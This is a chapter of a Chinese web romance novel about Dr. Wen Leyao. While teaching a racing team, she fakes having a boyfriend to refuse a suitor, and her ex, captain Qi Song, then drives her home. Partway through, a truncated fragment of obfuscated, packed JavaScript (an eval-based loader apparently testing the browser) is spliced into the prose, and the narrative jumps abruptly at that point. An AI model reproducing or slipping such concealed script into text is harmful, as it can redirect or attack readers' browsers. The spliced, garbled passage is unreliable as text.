温乐遥对何旭阳印象不深,但这个小伙子却在看到她后,对这次外勤非常热情。 在镜头解说前时,更是神采飞扬。 电视台并不是每次都采素材,何旭阳很遗憾,却刚好借着这个理由,要到了温乐遥的微信号,方便以后联系工作。 盯着自己新加的这几个微信,温乐遥滑动屏幕。 说来也有趣,她最近新认识的这些,从高朗、队员们到何旭阳,都加上了微信。 唯独没加祁颂。 他是个高傲的性子,恋爱时为她改变不少。 但现在他们已经是陌生人了,祁颂才不会主动向她示好。 第一节课结束后,温乐遥在教案上写着自己的批注,以及接下来要讲课注意的点。 何旭阳凑过来,笑得很灿烂: “温医生,不知道你今晚方便吗?我想请你吃顿饭。” 几个皮猴子支楞着耳朵,听到敏感词“今晚”后,都齐刷刷停下手中的动作,朝这边倾斜身体,开启偷听模式。 “今晚,不太方便。”温乐遥笑意清浅,语气却坚定。 她知道何旭阳是什么心思,但她确实对他不来电,与其优柔寡断,索性拒绝干脆一些,以免有误解。 “那明晚呢?” “明晚我值夜班,不好意思。” 何旭阳挠了挠头,由于紧张,眼神有些飘忽:“温医生,其实我想问问,你有男朋友吗?” - 十分钟前,办公室。 祁颂摘下无框平镜,被透明镜片压着的冷傲野性,在斯文感消失的瞬间,显露出来。刚处理完十几封邮件,他看了一眼时间,带上赛车服准备去训练。 他给孩子们安排得满,自己的行程更满。 眼看着祁颂大步流星离开办公室,阿朗跟上来:“哥,你还去温医生那边看看不?” “不去。” “他们几个要是不好好听课怎么办?” “他们不敢。” 阿朗无语。 祁颂这话没错,只要老大在基地里,几个皮猴子就都乖乖的,不敢掀起任何风浪。 他隐约感觉,温医生对颂哥的态度不一般,有些微妙。 颂哥也对她怪怪的。 说不上来这两人之间的化学反应到底是亲昵还是厌恶。 他不忍队长孤苦终老,也不忍温医生的深情被辜负,再次劝说:“按理来说,你也得去听听,毕竟是队长呢。” 祁颂气笑了,舌尖抵着后槽牙,大掌一摁钳住高朗的后颈: “我证都考出来了,你让我听什么?” 阿朗呲牙咧嘴,笑嘻嘻继续说:“哥,温医生挺好的,你多跟人家相处相处,不然,这么好的女孩子被别人追走了,你后悔都来不及。”“你过生日那天,人家还给你买蛋糕呢。” “结果你这么冷漠。” “温医生来上课你都不见她。” “……”祁颂挑眉,漫不经心地将赛车头盔勾在怀里,优越的身材比例在灯光下尤其明显, “我要训练。” 高朗撅嘴:“无情的铁直男,怪不得你娶不着媳妇。” 工作手机铃声响起,他忙不迭接通:“喂,你好,CN溯风车队。” 祁颂拍拍他的肩,迈开大步往前走。 “你是温医生的弟弟?”高朗的眼睛一亮, “你好你好……啊,对,我是CN的队员,谢谢弟弟的支持。” “对,温医生在这里。稍等,我这就把电话给她,她正在上课,手机可能静音了。” 祁颂突然顿住脚步。 然后,举着手机的高朗一边往教室跑,一边疑惑地看向身旁的男人: “哥,你不是要去训练吗?怎么跟我一路了?” - “抱歉,我有男朋友了。” 温乐遥柔软的嗓音透过窗户传出来,声音不大,却掷地有声。 在灯光下,她清凌凌的眸子里盛着碎光。 白皙的皮肤清透水润,乌黑如墨的长发被映照着,脸蛋小巧,眉眼精致如画。 在湿冷的天气里,犹如暖阳般温和耀眼。 高朗一个趔趄,刚推开门就差点摔倒。 什么? 他还没来得及震惊,就听到房间里他们三个异口同声的问话: “姐姐你有男朋友了?!” 手机通话里,温乐远激动又惊喜:“什么?我姐有男朋友了?” 温乐遥没想到自己刚找借口拒绝完,就被他们都听到了。 这几个青春期的小子一喊,又被正好走过来的高朗听到了。 最尴尬的是。 祁颂也来了。 他也听到了。 她不擅长撒谎,尴尬红着脸接过手机后,电话那头传来温乐远的破锣嗓子: “姐!有男朋友啦?普天同庆啊!” “帅不帅?有我这么帅吗?” “啥时候把姐夫带回家来,老弟给你把把关。” 温乐遥来到走廊里,压低声音:“闭嘴温乐远。” “你有事吗?怎么打这儿来了?” “我进前十名了,进步12个名次呢!你上次说,我只要考进前十名,就抽空带我在市里玩玩的。” “我用同学手机给你打了好几个电话都不接,我就打你们科室去了,他们说你来CN的训练基地教医学知识,给了我这个联系号码。” “这活儿真帅啊!姐,他们赛车技术跟电视上一样酷吗?会飘逸吗?会弯道超车吗?” 听他喋喋不休,温乐遥气得脑壳疼,咬牙切齿: “温乐远,下次我工作的时候再来烦我,我就让爸妈停了你的零花钱。” “哎——哎!别挂啊,遥遥你不讲武德。” 挂断电话后,她才后知后觉地想起来,忘记嘱咐弟弟,这件事不要告诉父母。 她用自己手机再打回去时,那边已经正在通话中了,估计是在和父母报告这个“好消息”。 温乐遥闭眼。 完了。 这回玩脱了。 她去哪儿整个男朋友出来。 小教室里,高朗和几个队员都兴奋地猜测着漂亮姐姐的男朋友长什么样。 兴奋之余,不忘感慨一句:可惜老大没戏了。 祁颂没什么特殊的反应,只是冷冷地让他们闭嘴,准备上课。 因为祁颂的到来,温乐遥也有些紧张。 尤其是刚撒谎自己有男朋友,她的脸越来越红,好不容易平复心情,准备进教室上课时—— 男人已经来到了教室外面,英俊的脸庞淡漠,一句话没说,气场却强的吓人。 温乐遥尴尬地扯起唇角,朝他笑了笑。 赶紧走进房间。 他好像心情不太好,还是别惹他了。 深呼吸,面带微笑准备继续给孩子们讲医学知识时,温乐遥看到从后门走进来的,那一抹挺拔劲瘦的身影。 她的笑容僵在脸上。 不是,大哥,你都考完证了,还过来做什么? 像是杀神重现一样,祁颂冷着脸坐在后排,以至于所有人都战战兢兢,提心吊胆上完了这节课。 中午在餐厅吃饭时,几个小家伙脑袋凑在一起,嘀嘀咕咕,打算给老大介绍个对象。 “真可惜,遥遥姐都有男朋友了,要是她是咱们嫂子该多好,说不定老大就不会更年期了。” “对,老大脾气臭,多半是因为没有老婆。” “咱们给他物色个好女朋友,像遥遥姐这样温柔漂亮的,不然老大成天只知道训练。” 另一边。 温乐遥听着爹妈高兴发来的语音。 他们喜气洋洋又激动的声音,让她心累。 她编辑一句【对不起,爸爸妈妈,我没有男朋友,小远听到的不是实情。其实我当时只是在拒绝别人,才这么说的】。 犹豫半晌,也不敢发出去。 她的家教严厉,虽然父母疼爱,但一直教育她不能撒谎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真配啊。 跟漫画里的人物似的。 他们心照不宣对视一眼,纷纷摇头,叹气。 “颂哥真是嘴硬心软,这不是挺关心在意遥遥姐的嘛,怎么看着不太搭理人家。” “哎,可惜遥遥姐已经有男朋友了。” “没戏了。” “我们朝哪个方向磕一个,才能给老大赶紧找个女朋友,让他别成天把心思放在练我们身上,操心操心自己的终身大事吧。” 与此同时。 地下车库的灯逐渐亮起,祁颂穿了件黑色冲锋衣,瘦高身形走在她前面不远处。 宽肩窄腰,只是一个背影,比例都优越到让人移不开眼。 温乐遥忽然想起,谢柔曾经感叹过:祁颂那张权威的脸和好身材,不当明星都浪费。 祁颂在机场的照片被发到某音,点赞量轻松破百万。 也难怪他有那么多粉丝。 祁颂开了辆黑色大G,一只修长的手慵懒搭在方向盘上,冷眸看向她,纯粹的黑色衬得他愈发矜贵。 也只有他这样的公子哥儿,能压得住这辆凌厉野性的车。 温乐遥本想坐在后排,离他远点,却在后视镜和男人淡漠的视线交汇。 在职场上混迹的她,突然想起后排是领导坐的位置。 于是她默默关上车门,登上了副驾。 车里有好闻的水蜜桃清香,依旧放着温乐遥喜欢的歌曲,但早已物是人非。 温乐遥报了自己的地址,表示感谢。 一路无言。 她知道,祁颂是个有边界感的男人,既然她说有男朋友,他就不会再和她有任何牵扯。 前段时间两人的关系刚要缓和,因为这个乌龙,再次冰封。 直到车稳稳停在小区门口,祁颂才低声说了句:“到了。” 雨势渐停,空气中只漂浮着零星雨丝。 温乐遥租住这个老小区的路面不平,有很长一段积水区域。 以前恋爱时,路过小水洼,祁颂都会很自然地抬手勾住她的腰,结实手臂箍得很紧,单手就能将温乐遥抱过去。 她今天穿的是小皮鞋,等下鞋里进水,整双脚都要黏黏糊糊不舒服。 换做以前,她肯定要张开手等着他来抱自己过去。 但现在,温乐遥根本不敢麻烦祁颂。 还是自力更生吧。 她目测着深浅,挎好包,准备拎起裙摆踩过去。 一声关门时沉厚的金属响传来。 大G熄了火,身后耀眼的车灯骤然暗掉。小区的路灯不管用,一瞬间,陷入漆黑的夜。 温乐遥愣住,正要回头。 一只结实有力的手揽住了她的腰,手臂箍得很紧,祁颂身上好闻的冷松香气传入她的呼吸。 还没做好心理准备。 下一秒,她身体失重,下意识地伸手搂住了面前的男人。 祁颂手握成拳,并没有趁机占她便宜。 反而是温乐遥由于惊吓,素白手臂勾住他的脖颈,柔软身体紧紧贴住他。 细腻温热的肌肤摩擦过他的心口。 夜色中,只听到她慌乱的心跳,以及男人沉沉的低笑: “温医生。” “你男朋友不会吃醋吗。”